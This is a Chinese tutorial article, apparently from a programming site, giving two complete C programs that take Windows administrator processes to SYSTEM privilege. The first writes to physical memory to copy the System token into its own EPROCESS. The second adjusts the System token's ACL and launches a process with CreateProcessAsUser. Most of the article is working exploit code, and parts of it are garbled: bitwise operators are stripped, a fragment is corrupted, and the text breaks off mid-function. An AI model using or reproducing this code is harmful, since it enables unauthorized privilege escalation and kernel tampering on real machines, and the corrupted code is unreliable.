搜索文章:

首页  |  Java技术  |  Asp.net  |  Asp编程  |  VC/C++  |  Delphi  |  VB编程

管理员组获取系统权限的完美解决方案

 关于管理员组(administrators)获取系统(system)权限的方法其实已经有很多种了.
小四哥就提到了一些:"msdn系列(3)--administrator用户直接获取system权限"和"远程线程注入版获取system权限".
这里,我先踩在前辈的肩上列一些可行的方法:

1. "利用zwcreatetoken()自己创建一个system令牌(token)"
2. hook掉创建进程的函数zwcreateprocess(ex),用winlogon id 创建
3. 远线程插入,插入线程到系统进程,创建一新进程

这上面三种方法都是scz提到的,也存在一些问题.其实除此这外,我们还可以:
4. 将程序做成服务,带参数运行新进程

做为服务来讲就是system了,再创建的进程也是system权限.

当然,这里我都不会用到上面提到的方法.因为网上都能找到现成的实现代码.而且考虑一些复杂性以及存在的一些问题都不是很好的解决方案.

这里,我拿出两种新的方案来实现该功能:

第一种方法.我们先来看一下系统是如何进行权限检测的,
举个例子,在调用了openprocesstoken,我们知道会进行权限的验证:
openprocesstoken->ntopenprocesstoken->psopentokenofprocess->psreferenceprimarytoken->找到这一句token = process->token;
 ->obopenobjectbypointer调用上面返回的token进行检查

也就是说,系统在检测权限时仅仅通过从进程的eprocess结构种拿出token项进行操作.因此我们不需要继续往obopenobjectbypointer里面跟进了。
思路已经很明显:直接将system进程的token拿过来,放到我们进程的token位置。那么系统就认为我们是system权限.
而这时我们的进程创建的子进程也就是system权限了。(以上分析过程请参考windows源代码...^_^)

实现代码:
===========================================================================================================
#include<windows.h>
#include<stdio.h>
#include<accctrl.h>
#include<aclapi.h>

#define token_offset 0xc8 //in windows 2003, it's 0xc8, if others' version, change it
#define nt_success(status)((ntstatus)(status) >= 0)
#define status_info_length_mismatch((ntstatus)0xc0000004l)
#define status_access_denied ((ntstatus)0xc0000022l)

typedef longntstatus;
typedef struct _io_status_block
{
 ntstatusstatus;
 ulonginformation;
} io_status_block, *pio_status_block;

typedef struct _unicode_string
{
 ushortlength;
 ushortmaximumlength;
 pwstrbuffer;
} unicode_string, *punicode_string;

#define obj_inherit 0x00000002l
#define obj_permanent 0x00000010l
#define obj_exclusive 0x00000020l
#define obj_case_insensitive0x00000040l
#define obj_openif0x00000080l
#define obj_openlink0x00000100l
#define obj_kernel_handle 0x00000200l
#define obj_valid_attributes0x000003f2l

typedef struct _object_attributes
{
 ulonglength;
 handlerootdirectory;
 punicode_string objectname;
 ulongattributes;
 pvoidsecuritydescriptor;
 pvoidsecurityqualityofservice;
} object_attributes, *pobject_attributes;

typedef struct _system_module_information
{
 ulong reserved[2];
 pvoid base;
 ulong size;
 ulong flags;
 ushort index;
 ushort unknown;
 ushort loadcount;
 ushort modulenameoffset;
 char imagename[256];
} system_module_information, *psystem_module_information;

typedef enum _system_information_class
{
 systembasicinformation,
 systemprocessorinformation,
 systemperformanceinformation,
 systemtimeofdayinformation,
 systemnotimplemented1,
 systemprocessesandthreadsinformation,
 systemcallcounts,
 systemconfigurationinformation,
 systemprocessortimes,
 systemglobalflag,
 systemnotimplemented2,
 systemmoduleinformation,
 systemlockinformation,
 systemnotimplemented3,
 systemnotimplemented4,
 systemnotimplemented5,
 systemhandleinformation,
 systemobjectinformation,
 systempagefileinformation,
 systeminstructionemulationcounts,
 systeminvalidinfoclass1,
 systemcacheinformation,
 systempooltaginformation,
 systemprocessorstatistics,
 systemdpcinformation,
 systemnotimplemented6,
 systemloadimage,
 systemunloadimage,
 systemtimeadjustment,
 systemnotimplemented7,
 systemnotimplemented8,
 systemnotimplemented9,
 systemcrashdumpinformation,
 systemexceptioninformation,
 systemcrashdumpstateinformation,
 systemkerneldebuggerinformation,
 systemcontextswitchinformation,
 systemregistryquotainformation,
 systemloadandcallimage,
 systempriorityseparation,
 systemnotimplemented10,
 systemnotimplemented11,
 systeminvalidinfoclass2,
 systeminvalidinfoclass3,
 systemtimezoneinformation,
 systemlookasideinformation,
 systemsettimeslipevent,
 systemcreatesession,
 systemdeletesession,
 systeminvalidinfoclass4,
 systemrangestartinformation,
 systemverifierinformation,
 systemaddverifier,
 systemsessionprocessesinformation
} system_information_class;

typedef ntstatus ( __stdcall *zwquerysysteminformation )
(
in system_information_class systeminformationclass,
in out pvoid systeminformation,
in ulong systeminformationlength,
out pulong returnlength optional
);

typedef ntstatus (callback* zwopensection)(
 out phandlesectionhandle,
 inaccess_maskdesiredaccess,
 inpobject_attributesobjectattributes
 );

typedef void (callback* rtlinitunicodestring)(
 in out punicode_stringdestinationstring,
 in pcwstrsourcestring
 );

typedef struct _system_handle_information
{
 ulongprocessid;
 ucharobjecttypenumber;
 ucharflags;
 ushorthandle;
 pvoidobject;
 access_maskgrantedaccess;
} system_handle_information, *psystem_handle_information;

rtlinitunicodestringrtlinitunicodestring;
zwopensectionzwopensection;
zwquerysysteminformationzwquerysysteminformation = null;
hmoduleg_hntdll = null;
pvoid g_pmapphysicalmemory = null;
handle g_hmpm = null;

bool initntdll()
{
 g_hntdll = loadlibrary( "ntdll.dll" );
 if ( !g_hntdll )
 {
 return false;
 }

 rtlinitunicodestring =
 (rtlinitunicodestring)getprocaddress( g_hntdll, "rtlinitunicodestring");

 zwopensection =
 (zwopensection)getprocaddress( g_hntdll, "zwopensection");

 zwquerysysteminformation =
 ( zwquerysysteminformation )getprocaddress( g_hntdll, "zwquerysysteminformation" );

 zwquerysysteminformation =
 ( zwquerysysteminformation )getprocaddress( g_hntdll, "zwquerysysteminformation" );

 return true;
}

void closentdll()
{
 if(g_hntdll != null)
 {
 freelibrary(g_hntdll);
 }
}

void setphyscialmemorysectioncanbewrited(handle hsection)
{

 pacl pdacl=null;
 pacl pnewdacl=null;
 psecurity_descriptor psd=null;
 dword dwres;
 explicit_access ea;

 if(dwres=getsecurityinfo(hsection,se_kernel_object,dacl_security_information,
 null,null,&pdacl,null,&psd)!=error_success)
 {
 goto cleanup;
 }

 zeromemory(&ea, sizeof(explicit_access));
 ea.grfaccesspermissions = section_map_write;
 ea.grfaccessmode = grant_access;
 ea.grfinheritance= no_inheritance;
 ea.trustee.trusteeform = trustee_is_name;
 ea.trustee.trusteetype = trustee_is_user;
 ea.trustee.ptstrname = "current_user";


 if(dwres=setentriesinacl(1,&ea,pdacl,&pnewdacl)!=error_success)
 {
 goto cleanup;
 }

 if(dwres=setsecurityinfo(hsection,se_kernel_object,dacl_security_information,null,null,pnewdacl,null)!=error_success)
 {
 goto cleanup;
 }

cleanup:

 if(psd)
 localfree(psd);
 if(pnewdacl)
 localfree(pnewdacl);
}

handle openphysicalmemory()
{
 ntstatusstatus;
 unicode_stringphysmemstring;
 object_attributesattributes;

 rtlinitunicodestring( &physmemstring, l"\\device\\physicalmemory" );

 attributes.length= sizeof(object_attributes);
 attributes.rootdirectory= null;
 attributes.objectname= &physmemstring;
 attributes.attributes= 0;
 attributes.securitydescriptor= null;
 attributes.securityqualityofservice= null;

 status = zwopensection(&g_hmpm,section_map_readsection_map_write,&attributes);

 if(status == status_access_denied){
 status = zwopensection(&g_hmpm,read_controlwrite_dac,&attributes);
 setphyscialmemorysectioncanbewrited(g_hmpm);
 closehandle(g_hmpm);
 status =zwopensection(&g_hmpm,section_map_readsection_map_write,&attributes);
 }

 if( !nt_success( status ))
 {
 return null;
 }

 g_pmapphysicalmemory = mapviewoffile(
 g_hmpm,
 4,
 0,
 0x30000,
 0x1000);
 if( g_pmapphysicalmemory == null )
 {
 return null;
 }

 return g_hmpm;
}

pvoid lineartophys(pulong baseaddress,pvoid addr)
{
 ulong vaddr=(ulong)addr,pgde,pte,paddr;
 if(vaddr>=0x80000000 && vaddr<0xa0000000)
 {
 paddr=vaddr-0x80000000;
 return (pvoid)paddr;
 }
 pgde=baseaddress[vaddr>>22];
 if ((pgde&1)!=0)
 {
 ulong tmp=pgde&0x00000080;
 if (tmp!=0)
 {
 paddr=(pgde&0xffc00000)+(vaddr&0x003fffff);
 }
 else
 {
 pgde=(ulong)mapviewoffile(g_hmpm, file_map_all_access, 0, pgde & 0xfffff000, 0x1000);
 pte=((pulong)pgde)[(vaddr&0x003ff000)>>12];
 if ((pte&1)!=0)
 {
 paddr=(pte&0xfffff000)+(vaddr&0x00000fff);
 unmapviewoffile((pvoid)pgde);
 }
 else return 0;
 }
 }
 else return 0;

 return (pvoid)paddr;
}


ulong getdata(pvoid addr)
{
 ulong phys=(ulong)lineartophys((pulong)g_pmapphysicalmemory,(pvoid)addr);
 pulong tmp=(pulong)mapviewoffile(g_hmpm, 4, 0, phys & 0xfffff000, 0x1000);
 if (tmp==0)
 return 0;
 ulong ret=tmp[(phys & 0xfff)>>2];
 unmapviewoffile(tmp);
 return ret;
}

bool setdata(pvoid addr,ulong data)
{
 ulong phys=(ulong)lineartophys((pulong)g_pmapphysicalmemory,(pvoid)addr);
 pulong tmp=(pulong)mapviewoffile(g_hmpm, file_map_write, 0, phys & 0xfffff000, 0x1000);
 if (tmp==0)
 return false;
 tmp[(phys & 0xfff)>>2]=data;
 unmapviewoffile(tmp);
 return true;
}

dword mygetmodulebaseaddress( char * pmodulename)
{
 psystem_module_informationpsysmodule;

 ulongureturn;
 ulongucount;
 pcharpbuffer = null;
 pcharpname= null;
 ntstatusstatus;
 uintui;
 charszbuffer[10];
 dwordpbaseaddress;

 status = zwquerysysteminformation( systemmoduleinformation, szbuffer, 10, &ureturn );
 pbuffer = ( pchar )malloc(ureturn);
 if ( pbuffer )
 {
 status = zwquerysysteminformation( systemmoduleinformation, pbuffer, ureturn, &ureturn );
 if( nt_success(status) )
 {
 ucount = ( ulong )*( ( ulong * )pbuffer );
 psysmodule = ( psystem_module_information )( pbuffer + sizeof( ulong ) );
 for ( ui = 0; ui < ucount; ui++ )
 {
 pname = strstr( psysmodule->imagename, pmodulename );
 if( pname )
 {
 pbaseaddress = (dword)psysmodule->base;
 free( pbuffer );
 return pbaseaddress;
 }
 psysmodule ++;
 }
 }

 free( pbuffer );
 }

 return null;
}

dword geteprocessfromid (dword pid)
{
 ntstatus status;
 pvoidbuf = null;
 ulongsize= 1;
 ulongnumofhandle = 0;
 ulongi;
 psystem_handle_informationh_info= null;
 dwordn;
 dwordretvalue=0;

 buf=malloc(0x1000);
 if(buf == null)
 {
 printf("malloc wrong\n");
 return false;
 }
 status = zwquerysysteminformation( systemhandleinformation, buf, 0x1000, &n );
 if(status_info_length_mismatch == status)
 {
 free(buf);
 buf=malloc(n);
 if(buf == null)
 {
 printf("malloc wrong\n");
 return false;
 }
 status = zwquerysysteminformation( systemhandleinformation, buf, n, null);
 }
 else
 {
 printf("zwquerysysteminformation wrong\n");
 return false;
 }

 numofhandle = *(ulong*)buf;

 h_info = ( psystem_handle_information )((ulong)buf+4);

 for(i = 0; i<numofhandle ;i++)
 {
 if( h_info[i].processid == pid &&( h_info[i].objecttypenumber == 5))
 {
 retvalue=(dword)(h_info[i].object);
 break;
 }
 }

 if ( buf != null )
 {
 free( buf );
 }
 return retvalue;
}

void usage(char *exe)
{
 printf("usage : %s [exefile-h]\n");
}

int main(int argc, char **argv)
{
 hmodule hdll;
 dword tmp;
 dword systemeprocess;
 dword systemeprocesstokenvalue;
 dword currenteprocess;
 dword currenteprocesstokenvalue;

 printf("\nit is intended to get system privilege from administrators group.\n");
 printf("\tmade by zwell.\n");
 printf("\tzwell@sohu.com.\n");
 printf("\thttp://www.donews.net/zwell.\n");
 printf("\ttype -h to get more information\n", argv[0]);

 if( argc>=2)
 {
 if(
 ( (strcmp(argv[1],"-h")==0) && (argc==2))
 (argc>2)
 )
 {
 usage(argv[0]);
 exit(-1);
 }
 }

 if (!initntdll())
 {
 printf("initntdll wrong\n");
 exit(-1);
 }

 if (openphysicalmemory()==0)
 {
 printf("openphysicalmemory wrong\n");
 exit(-1);
 }

 hdll = loadlibrary("ntoskrnl.exe");
 tmp = (dword)getprocaddress(hdll, "psinitialsystemprocess");
 tmp=mygetmodulebaseaddress("ntoskrnl.exe")+(dword)tmp-(dword)hdll;
 systemeprocess=getdata((pvoid)tmp);
 tmp=systemeprocess+token_offset; //system's token address
 systemeprocesstokenvalue=getdata((pvoid)tmp); //system's token
 printf("system process token : 0x%08x\n", systemeprocesstokenvalue);

 openprocess( process_all_access,false,getcurrentprocessid() );
 currenteprocess = geteprocessfromid(getcurrentprocessid());
 currenteprocesstokenvalue = getdata((pvoid)(currenteprocess+token_offset));

 printf("current eprocess : %08x\n", currenteprocess);
 printf("current process token : %08x\npress enter to continue...\n",
 currenteprocesstokenvalue);
 //getchar();
 setdata((pvoid)(geteprocessfromid(getcurrentprocessid())+token_offset), systemeprocesstokenvalue);
 printf("current process token : %08x\n",
 getdata((pvoid)(geteprocessfromid(getcurrentprocessid())+token_offset)));
 printf("press enter to create process...\n");
 //getchar();

 if( getdata((pvoid)(currenteprocess+token_offset))
 == getdata((pvoid)(systemeprocess+token_offset))
 )
 // it is so surprised that system's token always in changing.
 // so before create new process, we should ensure the token is all right
 {
 shellexecute(null, "open", (argc==2)?argv[1]:"c:\\windows\\regedit.exe", null, null, sw_shownormal);
 }
 unmapviewoffile(g_pmapphysicalmemory);
 closehandle(g_hmpm);
 closentdll();

 return 0;
}


在上面的代码中,请将token_offset改成你的系统版本的偏移值.我们也可以想像到由于是操作了系统的内核空间,搞不好会出现蓝屏现象(尽管机率很小).

=========================================================================================================
第二种方法,我们不自己创建进程,而是直接用system进程的token来创建进程.看到这,大家可能又想到了远线程。
这里不是。我的思路是:配置好桌面(desktop),工作区间(windowstation)等信息,最后调用createprocessasuser来创建子进程。
用这种方法极为稳定。这里一些关于获取sid的代码可以看我前一段时间写的"一种新的穿透_blank">防火墙的数据传输技术".

下面是源代码,这段代码也实现了runas的功能,有兴趣可以研究一下,大部分都来自msdn:

#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <accctrl.h>
#include <aclapi.h>
#include <wtsapi32.h>

#pragma comment(lib, "wtsapi32")

handle opensystemprocess()
{
 handle hsnapshot = null;
 handle hproc = null;

 __try
 {
 // get a snapshot of the processes in the system
 hsnapshot = createtoolhelp32snapshot(th32cs_snapprocess, 0);
 if (hsnapshot == null)
 {
 printf("opensystemprocess createtoolhelp32snapshot failed");
 __leave;
 }

 processentry32 pe32;
 pe32.dwsize = sizeof(pe32);

 // find the "system" process
 bool fprocess = process32first(hsnapshot, &pe32);
 while (fprocess && (lstrcmpi(pe32.szexefile, text("system")) != 0))
 fprocess = process32next(hsnapshot, &pe32);
 if (!fprocess)
 {
 printf("opensystemprocess not found system");
 __leave;// didn't find "system" process
 }

 // open the process with process_query_information access
 hproc = openprocess(process_query_information, false,
 pe32.th32processid);
 if (hproc == null)
 {
 printf("opensystemprocess openprocess failed");
 __leave;
 }
 }
 __finally
 {
 // cleanup the snapshot
if (hsnapshot != null)
closehandle(hsnapshot);
return(hproc);
 }
}

bool enableprivilege (pcstr name)
{
 handle htoken;
 bool rv;

 token_privileges priv = { 1, {0, 0, se_privilege_enabled} };
 lookupprivilegevalue (
 0,
 name,
 &priv.privileges[0].luid
 );

 openprocesstoken(
 getcurrentprocess (),
 token_adjust_privileges,
 &htoken
 );

 adjusttokenprivileges (
 htoken,
 false,
 &priv,
 sizeof priv,
 0,
 0
 );
 rv = getlasterror () == error_success;

 closehandle (htoken);
 return rv;
}

#define chdimof(array) (sizeof(array) / sizeof(array[0]))

bool modifysecurity(handle hproc, dword dwaccess)
{
 pacl pacl= null;
 pacl pnewacl = null;
 pacl psacl = null;
 psid psidowner = null;
 psid psidprimary = null;
 bool fsuccess= true;

 psecurity_descriptor psd = null;

 __try
 {
 // find the length of the security object for the kernel object
 dword dwsdlength;
 if (getkernelobjectsecurity(hproc, dacl_security_information, psd, 0,
 &dwsdlength) (getlasterror() != error_insufficient_buffer))
 {
 printf("modifysecurity getkernelobjectsecurity size failed");
 __leave;
 }

 // allocate a buffer of that length
 psd = localalloc(lptr, dwsdlength);
 if (psd == null)
 {
 printf("modifysecurity localalloc failed");
 __leave;
 }

 // retrieve the kernel object
 if (!getkernelobjectsecurity(hproc, dacl_security_information, psd,
 dwsdlength, &dwsdlength))
 {
 printf("modifysecurity getkernelobjectsecurity failed");
 __leave;
 }

 // get a pointer to the dacl of the sd
 bool fdaclpresent;
 bool fdacldefaulted;
 if (!getsecuritydescriptordacl(psd, &fdaclpresent, &pacl,
 &fdacldefaulted))
 {
 printf("modifysecurity getsecuritydescriptordacl failed");
 __leave;
 }

 // get the current user's name
 tchar szname[1024];
 dword dwlen = chdimof(szname);
 if (!getusername(szname, &dwlen))
 {
 printf("modifysecurity getusername failed");
 __leave;
 }

 // build an explicit_access structure for the ace we wish to add.
 explicit_access ea;
 buildexplicitaccesswithname(&ea, szname, dwaccess, grant_access, 0);
 ea.trustee.trusteetype = trustee_is_user;

 // we are allocating a new acl with a new ace inserted.the new
 // acl must be localfree'd
 if(error_success != setentriesinacl(1, &ea, pacl, &pnewacl))
 {
 printf("modifysecurity setentriesinacl failed");
 pnewacl = null;
 __leave;
 }

 // find the buffer sizes we would need to make our sd absolute
 pacl = null;
 dwsdlength = 0;
 dword dwaclsize= 0;
 dword dwsaclsize = 0;
 dword dwsidownlen= 0;
 dword dwsidprimlen = 0;
 psecurity_descriptor pabssd = null;
 if(makeabsolutesd(psd, pabssd, &dwsdlength, pacl, &dwaclsize, psacl,
 &dwsaclsize, psidowner, &dwsidownlen, psidprimary, &dwsidprimlen)
 (getlasterror() != error_insufficient_buffer))
 {
 printf("modifysecurity makeabsolutesd size failed");
 __leave;
 }

 // allocate the buffers
 pacl = (pacl) localalloc(lptr, dwaclsize);
 psacl = (pacl) localalloc(lptr, dwsaclsize);
 psidowner = (psid) localalloc(lptr, dwsidownlen);
 psidprimary = (psid) localalloc(lptr, dwsidprimlen);
 pabssd = (psecurity_descriptor) localalloc(lptr, dwsdlength);
 if(!(pacl && psacl && psidowner && psidprimary && pabssd))
 {
 printf("modifysecurity invalid sid found");
 __leave;
 }

 // and actually make our sd absolute
 if(!makeabsolutesd(psd, pabssd, &dwsdlength, pacl, &dwaclsize, psacl,
 &dwsaclsize, psidowner, &dwsidownlen, psidprimary, &dwsidprimlen))
 {
 printf("modifysecurity makeabsolutesd failed");
 __leave;
 }

 // now set the security descriptor dacl
 if(!setsecuritydescriptordacl(pabssd, fdaclpresent, pnewacl,
 fdacldefaulted))
 {
 printf("modifysecurity setsecuritydescriptordacl failed");
 __leave;
 }

 // and set the security for the object
 if(!setkernelobjectsecurity(hproc, dacl_security_information, pabssd))
 {
 printf("modifysecurity setkernelobjectsecurity failed");
 __leave;
 }

 fsuccess = true;

 }
 __finally
 {
 // cleanup
 if (pnewacl == null)
 localfree(pnewacl);

 if (psd == null)
 localfree(psd);

 if (pacl == null)
 localfree(pacl);

 if (psacl == null)
 localfree(psacl);

 if (psidowner == null)
 localfree(psidowner);

 if (psidprimary == null)
 localfree(psidprimary);

 if(!fsuccess)
 {
 printf("modifysecurity exception caught in __finally");
 }

 return(fsuccess);
 }
}

handle getlsatoken()
{
 handle hproc= null;
 handle htoken = null;
 bool bsuccess = false;
 __try
 {
 // enable the se_debug_name privilege in our process token
 if (!enableprivilege(se_debug_name))
 {
 printf("getlsatoken enableprivilege failed");
 __leave;
 }

 // retrieve a handle to the "system" process
 hproc = opensystemprocess();
 if(hproc == null)
 {
 printf("getlsatoken opensystemprocess failed");
 __leave;
 }

 // open the process token with read_control and write_dac access.we
 // will use this access to modify the security of the token so that we
 // retrieve it again with a more complete set of rights.
 bool fresult = openprocesstoken(hproc, read_control write_dac,
 &htoken);
 if(false == fresult)
 {
 printf("getlsatoken openprocesstoken failed");
 __leave;
 }

 // add an ace for the current user for the token.this ace will add
 // token_duplicate token_assign_primary token_query rights.
 if (!modifysecurity(htoken, token_duplicate token_assign_primary
 token_query token_adjust_sessionid))
 {
 printf("getlsatoken modifysecurity failed");
 __leave;
 }


 // reopen the process token now that we have added the rights to
 // query the token, duplicate it, and assign it.
 fresult = openprocesstoken(hproc, token_query token_duplicate
 &nb, sp; token_assign_primary read_control write_dac, &htoken);
 if (false == fresult)
 {
 printf("getlsatoken openprocesstoken failed");
 __leave;
 }
 bsuccess = true;
 }
 __finally
 {
 // close the system process handle
 if (hproc != null)closehandle(hproc);
 if(bsuccess)
 return htoken;
 else
 {
 ::closehandle(htoken);
 return null;
 }
 }
}

#define desktop_all (desktop_readobjects desktop_createwindow desktop_createmenu desktop_hookcontrol \
 desktop_journalrecord desktop_journalplayback \
 desktop_enumerate desktop_writeobjects \
 desktop_switchdesktop standard_rights_required)

#define winsta_all (winsta_enumdesktops winsta_readattributes \
 winsta_accessclipboard winsta_createdesktop \
 winsta_writeattributes winsta_accessglobalatoms \
 winsta_exitwindows winsta_enumerate \
 winsta_readscreen \
 standard_rights_required)
#define generic_access (generic_read generic_write generic_execute generic_all)

bool addacetowindowstation(hwinsta hwinsta, psid psid);

bool addacetodesktop(hdesk hdesk, psid psid);

bool getlogonsid(handle htoken, psid *ppsid)
{
 pwts_process_info pprocessinfo = null;
 dword processcount = 0;
 boolret=false;

 if (wtsenumerateprocesses(wts_current_server_handle, 0, 1, &pprocessinfo, &processcount))
 {
 // dump each process description
 for (dword currentprocess = 0; currentprocess < processcount; currentprocess++)
 {

 if( strcmp(pprocessinfo[currentprocess].pprocessname, "system") == 0 )
 {
 //*ppsid = pprocessinfo[currentprocess].pusersid;
 dword dwlength = getlengthsid(pprocessinfo[currentprocess].pusersid);
 *ppsid = (psid) heapalloc(getprocessheap(),
 heap_zero_memory, dwlength);
 if (*ppsid == null)
 break;
 if (!copysid(dwlength, *ppsid, pprocessinfo[currentprocess].pusersid))
 {
 heapfree(getprocessheap(), 0, (lpvoid)*ppsid);
 break;
 }
 ret=true;
 break;
 }
 }

 wtsfreememory(pprocessinfo);
 }

 return ret;
}

bool getlogonsid_1 (handle htoken, psid *ppsid)
{
bool bsuccess = false;
dword dwindex;
dword dwlength = 0;
ptoken_groups ptg = null;

// verify the parameter passed in is not null.
 if (null == ppsid)
 goto cleanup;

// get required buffer size and allocate the token_groups buffer.

if (!gettokeninformation(
htoken, // handle to the access token
tokengroups,// get information about the token's groups
(lpvoid) ptg, // pointer to token_groups buffer
0,// size of buffer
&dwlength // receives required buffer size
 ))
{
 if (getlasterror() != error_insufficient_buffer)
goto cleanup;

 ptg = (ptoken_groups)heapalloc(getprocessheap(),
heap_zero_memory, dwlength);

 if (ptg == null)
goto cleanup;
}


// get the token group information from the access token.

if (!gettokeninformation(
htoken, // handle to the access token
tokengroups,// get information about the token's groups
(lpvoid) ptg, // pointer to token_groups buffer
dwlength, // size of buffer
&dwlength // receives required buffer size
))
{
 goto cleanup;
}

// loop through the groups to find the logon sid.

for (dwindex = 0; dwindex < ptg->groupcount; dwindex++)
 if ((ptg->groups[dwindex].attributes & se_group_logon_id)
==se_group_logon_id)
 {
 // found the logon sid; make a copy of it.

dwlength = getlengthsid(ptg->groups[dwindex].sid);
*ppsid = (psid) heapalloc(getprocessheap(),
heap_zero_memory, dwlength);
if (*ppsid == null)
goto cleanup;
if (!copysid(dwlength, *ppsid, ptg->groups[dwindex].sid))
{
heapfree(getprocessheap(), 0, (lpvoid)*ppsid);
goto cleanup;
}
break;
 }

bsuccess = true;

cleanup:

// free the buffer for the token groups.

if (ptg != null)
 heapfree(getprocessheap(), 0, (lpvoid)ptg);

return bsuccess;
}


void freelogonsid (psid *ppsid)
{
 heapfree(getprocessheap(), 0, (lpvoid)*ppsid);
}


bool startinteractiveclientprocess (
 lptstr lpszusername,// client to log on
 lptstr lpszdomain,// domain of client's account
 lptstr lpszpassword,// client's password
 lptstr lpcommandline,// command line to execute
 handle token = null
)
{
handlehtoken;
hdesk hdesk = null;
hwinsta hwinsta = null, hwinstasave = null;
process_information pi;
psid psid = null;
startupinfo si;
bool bresult = false;

// log the client on to the local computer.

if(token!=null)
{
printf("%08x\n", token);
htoken = token;
}
else if (!logonuser(
lpszusername,
lpszdomain,
lpszpassword,
logon32_logon_interactive,
logon32_provider_default,
&htoken) )
{
 goto cleanup;
}

// save a handle to the caller's current window station.

if ( (hwinstasave = getprocesswindowstation() ) == null)
 goto cleanup;

// get a handle to the interactive window station.

hwinsta = openwindowstation(
"winsta0", // the interactive window station
false, // handle is not inheritable
read_control write_dac); // rights to read/write the dacl

if (hwinsta == null)
 goto cleanup;

// to get the correct default desktop, set the caller's
// window station to the interactive window station.

if (!setprocesswindowstation(hwinsta))
 goto cleanup;

// get a handle to the interactive desktop.

hdesk = opendesktop(
 "default", // the interactive window station
 0, // no interaction with other desktop processes
 false, // handle is not inheritable
 read_control // request the rights to read and write the dacl
 write_dac
 desktop_writeobjects
 desktop_readobjects);

// restore the caller's window station.

if (!setprocesswindowstation(hwinstasave))
 goto cleanup;

if (hdesk == null)
 goto cleanup;

// get the sid for the client's logon session.

if (!getlogonsid(htoken, &psid))
 goto cleanup;

// allow logon sid full access to interactive window station.

if (! addacetowindowstation(hwinsta, psid) )
 goto cleanup;

// allow logon sid full access to interactive desktop.

if (! addacetodesktop(hdesk, psid) )
 goto cleanup;

// impersonate client to ensure access to executable file.

if (! impersonateloggedonuser(htoken) )
 goto cleanup;

// initialize the startupinfo structure.
// specify that the process runs in the interactive desktop.

zeromemory(&si, sizeof(startupinfo));
si.cb= sizeof(startupinfo);
si.lpdesktop = text("winsta0\\default");//you can use enumwindowstations to enum desktop

// launch the process in the client's logon session.

bresult = createprocessasuser(
 htoken,// client's access token
 null,// file to execute
 lpcommandline, // command line
 null,// pointer to process security_attributes
 null,// pointer to thread security_attributes
 false, // handles are not inheritable
 normal_priority_class create_new_console, // creation flags
 null,// pointer to new environment block
 null,// name of current directory
 &si, // pointer to startupinfo structure
 &pi// receives information about new process
);

// end impersonation of client.

reverttoself();

goto cleanup;
//return bresult; <------------------------------------------------------------------------

if (bresult && pi.hprocess != invalid_handle_value)
{
 waitforsingleobject(pi.hprocess, infinite);
 closehandle(pi.hprocess);
}

if (pi.hthread != invalid_handle_value)
 closehandle(pi.hthread);

cleanup:

if (hwinstasave != null)
 setprocesswindowstation (hwinstasave);

// free the buffer for the logon sid.

if (psid)
 freelogonsid(&psid);

// close the handles to the interactive window station and desktop.

if (hwinsta)
 closewindowstation(hwinsta);

if (hdesk)
 closedesktop(hdesk);

// close the handle to the client's access token.

if (htoken != invalid_handle_value)
 closehandle(htoken);

return bresult;
}

bool addacetowindowstation(hwinsta hwinsta, psid psid)
{
access_allowed_ace *pace;
acl_size_information aclsizeinfo;
bool bdaclexist;
bool bdaclpresent;
bool bsuccess = false;
dworddwnewaclsize;
dworddwsidsize = 0;
dworddwsdsizeneeded;
pacl pacl;
pacl pnewacl;
psecurity_descriptor psd = null;
psecurity_descriptor psdnew = null;
pvoidptempace;
security_information si = dacl_security_information;
unsigned int i;

__try
{
 // obtain the dacl for the window station.

 if (!getuserobjectsecurity(
hwinsta,
&si,
psd,
dwsidsize,
&dwsdsizeneeded)
 )
 if (getlasterror() == error_insufficient_buffer)
 {
psd = (psecurity_descriptor)heapalloc(
getprocessheap(),
heap_zero_memory,
dwsdsizeneeded);

if (psd == null)
 __leave;

psdnew = (psecurity_descriptor)heapalloc(
getprocessheap(),
heap_zero_memory,
dwsdsizeneeded);

if (psdnew == null)
 __leave;

dwsidsize = dwsdsizeneeded;

if (!getuserobjectsecurity(
hwinsta,
&si,
psd,
dwsidsize,
&dwsdsizeneeded)
)
 __leave;
 }
 else
__leave;

 // create a new dacl.

 if (!initializesecuritydescriptor(
 psdnew,
 security_descriptor_revision)
 )
__leave;

 // get the dacl from the security descriptor.

 if (!getsecuritydescriptordacl(
 psd,
 &bdaclpresent,
 &pacl,
 &bdaclexist)
 )
__leave;

 // initialize the acl.

 zeromemory(&aclsizeinfo, sizeof(acl_size_information));
 aclsizeinfo.aclbytesinuse = sizeof(acl);

 // call only if the dacl is not null.

 if (pacl != null)
 {
// get the file acl size info
if (!getaclinformation(
pacl,
(lpvoid)&aclsizeinfo,
sizeof(acl_size_information),
aclsizeinformation)
)
 __leave;
 }

 // compute the size of the new acl.

 dwnewaclsize = aclsizeinfo.aclbytesinuse + (2*sizeof(access_allowed_ace)) + (2*getlengthsid(psid)) - (2*sizeof(dword));

 // allocate memory for the new acl.

 pnewacl = (pacl)heapalloc(
 getprocessheap(),
 heap_zero_memory,
 dwnewaclsize);

 if (pnewacl == null)
__leave;

 // initialize the new dacl.

 if (!initializeacl(pnewacl, dwnewaclsize, acl_revision))
__leave;

 // if dacl is present, copy it to a new dacl.

 if (bdaclpresent)
 {
// copy the aces to the new acl.
if (aclsizeinfo.acecount)
{
 for (i=0; i < aclsizeinfo.acecount; i++)
 {
// get an ace.
if (!getace(pacl, i, &ptempace))
 __leave;

// add the ace to the new acl.
if (!addace(
pnewacl,
acl_revision,
maxdword,
ptempace,
 ((pace_header)ptempace)->acesize)
)
 __leave;
 }
}
 }

 // add the first ace to the window station.

 pace = (access_allowed_ace *)heapalloc(
 getprocessheap(),
 heap_zero_memory,
 sizeof(access_allowed_ace) + getlengthsid(psid) -
 sizeof(dword));

 if (pace == null)
__leave;

 pace->header.acetype= access_allowed_ace_type;
 pace->header.aceflags = container_inherit_ace
inherit_only_ace object_inherit_ace;
 pace->header.acesize= sizeof(access_allowed_ace) +
getlengthsid(psid) - sizeof(dword);
 pace->mask= generic_access;

 if (!copysid(getlengthsid(psid), &pace->sidstart, psid))
__leave;

 if (!addace(
 pnewacl,
 acl_revision,
 maxdword,
 (lpvoid)pace,
 pace->header.acesize)
 )
__leave;

 // add the second ace to the window station.

 pace->header.aceflags = no_propagate_inherit_ace;
 pace->mask= winsta_all;

 if (!addace(
 pnewacl,
 acl_revision,
 maxdword,
 (lpvoid)pace,
 pace->header.acesize)
 )
__leave;

 // set a new dacl for the security descriptor.

 if (!setsecuritydescriptordacl(
 psdnew,
 true,
